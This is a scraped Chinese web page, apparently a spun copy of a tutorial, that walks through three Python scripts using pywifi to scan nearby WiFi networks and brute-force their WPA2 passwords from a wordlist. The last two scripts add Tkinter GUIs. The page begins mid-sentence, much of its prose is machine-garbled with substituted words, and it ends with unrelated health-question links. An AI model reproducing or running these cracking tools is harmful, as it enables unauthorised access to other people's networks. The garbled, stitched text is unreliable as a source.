当前位置:首页 >> 中医保健

用Python破解WiFi钥

时间:2022-12-03 12:18:11   来源:中医保健

FI的密码,请更换密码编者后再次尝试!") exit(0)if _name_=="_main_": readPassword()

预定义开始运行功效:

制作者最优化

以上制作者需内嵌 WIFI 名、爆裂编者逆时针,缺乏灵活性。示意图同步进行大修最优化:

import pywifiimport timefrom pywifi import const# WiFi成像模块def wifi_scan(): # codice_wifi wifi = pywifi.PyWiFi() # 使用第一个无线适配器 interface = wifi.interfaces()[0] # 开始成像 interface.scan() for i in range(4): time.sleep(1) print('成像可用 WiFi 里面,请稍后。。。(' + str(3 - i), end=')') print('成像完成!' + '-' * 38) print('{:4}{:6}{}'.format('代号', '接收器强度', 'wifi名')) # 成像结果,scan_results()赶回一个集,存放的是每个wifi某类 bss = interface.scan_results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解决乱码问题 wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) # 存入一览表并按接收器排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化反向 while num < len(wifi_name_list): print('{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num += 1 print('-' * 38) # 赶回wifi一览表 return wifi_name_list# WIFI密码模块def wifi_password_crack(wifi_name): # 编者逆时针 wifi_dic_path = input("请输入本地用于WIFI暴力密码的密码编者(txt格式,每个密码占据1行)的逆时针:") with open(wifi_dic_path, 'r') as f: # 遍历密码 for pwd in f: # 替换成密码的结尾换行符 pwd = pwd.strip('') # 创立wifi某类 wifi = pywifi.PyWiFi() # 创立适配器某类,为第一个wifi适配器 interface = wifi.interfaces()[0] # 连着所有wifi相互连接 interface.disconnect() # 等待其连着 while interface.status() == 4: # 当其处于相互连接精神状态时,利用循环等待其连着 pass # 创立相互连接元原始数据(某类) profile = pywifi.Profile() # wifi地名 profile.ssid = wifi_name # 须要认证 profile.auth = const.AUTH_ALG_OPEN # wifi默认点对点 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi密码 profile.key = pwd # 删除所有wifi相互连接元原始数据 interface.remove_all_network_profiles() # 设为在此之后wifi相互连接元原始数据 tmp_profile = interface.add_network_profile(profile) # 开始尝试相互连接 interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time < 1.5: # 端口精神状态为4代表相互连接成功(当尝试时间大于1.5秒之后则为有误密码,经检验测准确密码一般都在1.5秒内相互连接,若要提高准确性可以设为为2s或以上,相应暴力密码速度就会变慢) if interface.status() == 4: print(f'相互连接成功!密码为:{pwd}') exit(0) else: print(f'正在利用密码 {pwd} 尝试密码。', end='')# 主函数def main(): # 退造出标致 exit_flag = 0 # 目标代号 target_num = -1 while not exit_flag: try: print('WiFi万能钥匙'.center(35, '-')) # 呼叫成像模块,赶回一个排序后的wifi一览表 wifi_list = wifi_scan() # 让用户选择要密码的wifi代号,并对用户输入的代号同步进行判别和异常处理 choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input('请选择你要尝试密码的wifi:')) # 如果要选择的wifi代号在一览表内,继续二次判别,否则再次输入 if target_num in range(len(wifi_list)): # 二次确认 while not choose_exit_flag: try: choose = str(input(f'你选择要密码的WiFi地名是:{wifi_list[target_num][1]},确定吗?(Y/N)')) # 对用户输入同步进行小写处理,并判别 if choose.lower() == 'y': choose_exit_flag = 1 elif choose.lower() == 'n': break # 处理用户其它字母输入 else: print('只能输入 Y/N 哦o(* ̄︶ ̄*)o') # 处理用户非字母输入 except ValueError: print('只能输入 Y/N 哦o(* ̄︶ ̄*)o') # 退造出密码 if choose_exit_flag == 1: break else: print('请再次输入哦(*请注意▽请注意*)') except ValueError: print('只能输入数字哦o(* ̄︶ ̄*)o') # 密码密码,传入用户选择的wifi地名 wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) raise eif _name_ == '_main_': main()

制作者开始运行功效如下:

上述预定义意味着了依据接收器强度枚举这两项周边地区的所有 WIFI 地名,并且可供用户前提选择须要暴力密码的 WIFI,同时还可灵活指定暴力密码的编者,相对而言领略感提升了不少。进一步也可以将上述制作者打包分解成 exe 元原始数据,双击开始运行功效如下:

图形化插件

示意图基于 Python 的 GUI IDE整合坎 Tkinter 最优化上述制作者,意味着针锋相对的可视化 WIFI 暴力密码插件方法。关于 Tkinter 坎的词汇可请见:Python GUI编程语言(Tkinter)。

简单版UI

from tkinter import *from pywifi import constimport pywifiimport time# 主要步骤:# 1、利用第一个无线适配器# 2、连着所有的wifi# 3、复制到密码本# 4、设为清醒时间def wificonnect(str, wifiname): # 售票厅无线某类 wifi = pywifi.PyWiFi() # 抓取第一个无线适配器 ifaces = wifi.interfaces()[0] # 连着所有的wifi ifaces.disconnect() time.sleep(1) if ifaces.status() == const.IFACE_DISCONNECTED: # 创立wifi相互连接元原始数据 profile = pywifi.Profile() profile.ssid = wifiname # wifi的点对点 profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi的密码 profile.key = str # 适配器的整合 profile.auth = const.AUTH_ALG_OPEN # 点对点静态,这里须要写点点对点静态否则只能相互连接 profile.cipher = const.CIPHER_TYPE_CCMP # 删除所有的wifi元原始数据 ifaces.remove_all_network_profiles() # 设为在此之后相互连接元原始数据 tep_profile = ifaces.add_network_profile(profile) # 相互连接 ifaces.connect(tep_profile) time.sleep(3) if ifaces.status() == const.IFACE_CONNECTED: return True else: return Falsedef readPwd(): # 利用wiif地名 wifiname = entry.get().strip() path = r'./pwd.txt' file = open(path, 'r') while True: try: # 复制到 mystr = file.readline().strip() # 检验相互连接 bool = wificonnect(mystr, wifiname) if bool: text.insert(END, '密码准确' + mystr) text.see(END) text.update() file.close() break else: text.insert(END, '密码有误' + mystr) text.see(END) text.update() except: continue# 创立售票厅root = Tk()root.title('wifi密码')root.geometry('500x400')# 标签label = Label(root, text='输入要密码的WIFI地名:')# 定位label.grid()# 输入控件entry = Entry(root, font=('苹果电脑雅黑', 14))entry.grid(row=0, column=1)# 一览表控件text = Listbox(root, font=('苹果电脑雅黑', 14), width=40, height=10)text.grid(row=1, columnspan=2)# 滑鼠button = Button(root, text='开始密码', width=20, height=2, command=readPwd)button.grid(row=2, columnspan=2)# 显示售票厅root.mainloop()

制作者开始运行功效:

UI升级版

以上IDE未允许选择密码编者,示意图同步进行最优化升级:

from tkinter import *from tkinter import ttkimport pywififrom pywifi import constimport timeimport tkinter.filedialog # 在Gui里面打开元原始数据预览import tkinter.messagebox # 打开tkiner的假消息提醒上端class MY_GUI(): def _init_(self, init_window_name): self.init_window_name = init_window_name # 密码元原始数据逆时针 self.get_value = StringVar() # 设为如前所述内容 # 利用密码wifi该网站 self.get_wifi_value = StringVar() # 利用wifi密码 self.get_wifimm_value = StringVar() # 抓取适配器端口 self.wifi = pywifi.PyWiFi() # 抓取第一个无线适配器 self.iface = self.wifi.interfaces()[0] # 检验绑定连着所有绑定 self.iface.disconnect() time.sleep(1) # 休眠1秒 # 检验适配器确实仅限于连着精神状态 assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def _str_(self): # 自动会呼叫的函数,赶回自身的适配器 return '(WIFI:%s,%s)' % (self.wifi, self.iface.name()) # 设为售票厅 def set_init_window(self): self.init_window_name.title("WIFI密码方法") self.init_window_name.geometry('+500+200') labelframe = LabelFrame(width=400, height=200, text="配置") # 上端架,以下某类都是对于labelframe里面添加的 labelframe.grid(column=0, row=0, padx=10, pady=10) self.search = Button(labelframe, text="跟踪周边地区WiFi", command=self.scans_wifi_list).grid(column=0, row=0) self.pojie = Button(labelframe, text="开始密码", command=self.readPassWord).grid(column=1, row=0) self.label = Label(labelframe, text="参考资料逆时针:").grid(column=0, row=1) self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1) self.file = Button(labelframe, text="添点对点码元原始数据参考资料", command=self.add_mm_file).grid(column=2, row=1) self.wifi_text = Label(labelframe, text="WiFi该网站:").grid(column=0, row=2) self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2) self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2) self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W) self.wifi_labelframe = LabelFrame(text="wifi一览表") self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW) # 定义齿状结构与滚动条 self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d")) self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview) self.wifi_tree.configure(yscrollcommand=self.vbar.set) # 表格的标题 self.wifi_tree.column("a", width=50, anchor="center") self.wifi_tree.column("b", width=100, anchor="center") self.wifi_tree.column("c", width=100, anchor="center") self.wifi_tree.column("d", width=100, anchor="center") self.wifi_tree.heading("a", text="WiFiID") self.wifi_tree.heading("b", text="SSID") self.wifi_tree.heading("c", text="BSSID") self.wifi_tree.heading("d", text="signal") self.wifi_tree.grid(row=4, column=0, sticky=NSEW) self.wifi_tree.bind("", self.onDBClick) self.vbar.grid(row=4, column=1, sticky=NS) # 跟踪wifi def scans_wifi_list(self): # 成像四周wifi一览表 # 开始成像 print("请注意_请注意 开始成像周边地区wifi...") self.iface.scan() time.sleep(15) # 在若干秒后利用成像结果 scanres = self.iface.scan_results() # 统计周边地区被辨认造出的热点总数 nums = len(scanres) print("总数: %s" % (nums)) # 实际原始数据 self.show_scans_wifi_list(scanres) return scanres # 显示wifi一览表 def show_scans_wifi_list(self, scans_res): for index, wifi_info in enumerate(scans_res): self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal)) # 添点对点码元原始数据参考资料 def add_mm_file(self): self.filename = tkinter.filedialog.askopenfilename() self.get_value.set(self.filename) # Treeviewcodice_事件 def onDBClick(self, event): self.sels = event.widget.selection() self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1]) # 复制到密码编者,同步进行最简单 def readPassWord(self): self.getFilePath = self.get_value.get() self.get_wifissid = self.get_wifi_value.get() pwdfilehander = open(self.getFilePath, "r", errors="ignore") while True: try: self.pwdStr = pwdfilehander.readline() if not self.pwdStr: break self.bool1 = self.connect(self.pwdStr, self.get_wifissid) if self.bool1: self.res = "[*] 密码准确!wifi名:%s,最简单密码:%s " % (self.get_wifissid, self.pwdStr) self.get_wifimm_value.set(self.pwdStr) tkinter.messagebox.showinfo('提示', '密码成功!!!') print(self.res) break else: self.res = "[*] 密码有误!wifi名:%s,最简单密码:%s" % (self.get_wifissid, self.pwdStr) print(self.res) time.sleep(3) except: continue # 对wifi和密码同步进行最简单 def connect(self, pwd_Str, wifi_ssid): # 创立wifi绑定元原始数据 self.profile = pywifi.Profile() self.profile.ssid = wifi_ssid # wifi地名 self.profile.auth = const.AUTH_ALG_OPEN # 适配器的封闭 self.profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi点对点 self.profile.cipher = const.CIPHER_TYPE_CCMP # 点对点静态 self.profile.key = pwd_Str # 密码 self.iface.remove_all_network_profiles() # 删除所有的wifi元原始数据 self.tmp_profile = self.iface.add_network_profile(self.profile) # 设定在此之后绑定元原始数据 self.iface.connect(self.tmp_profile) # 绑定 time.sleep(5) if self.iface.status() == const.IFACE_CONNECTED: # 判别确实相互连接上 isOK = True else: isOK = False self.iface.disconnect() # 连着 time.sleep(1) # 核对连着精神状态 assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOKdef gui_start(): init_window = Tk() ui = MY_GUI(init_window) print(ui) ui.set_init_window() init_window.mainloop()if _name_ == "_main_": gui_start()

制作者开始运行功效如下:

以上基于 Python 的 GUI IDE整合坎 Tkinter,实际上 Python 的 GUI 编程语言可以倚靠 PyQt5 来自动分解成 UI 预定义,特别教程可请见:PyQt5设计GUI(一)pycharm里面配置pyqt5。

总结

本文深造了 Python 暴力密码 WIFI 密码的方法、以及 Python GUI 图形化编程语言的基础性使用。

所演示的预定义的不足在于原则上未使用多线程同步进行 WIFI 相互连接检验,实际上因为 WIFI 相互连接检验须要一定的耗时(3-5秒),故使用多线程将能减少暴力密码反复的等待时间。

感冒可以吃多维元素片吗
眼睛酸滴什么眼药水
胸闷
宝宝消化不良怎么办
关节僵硬吃什么药好呢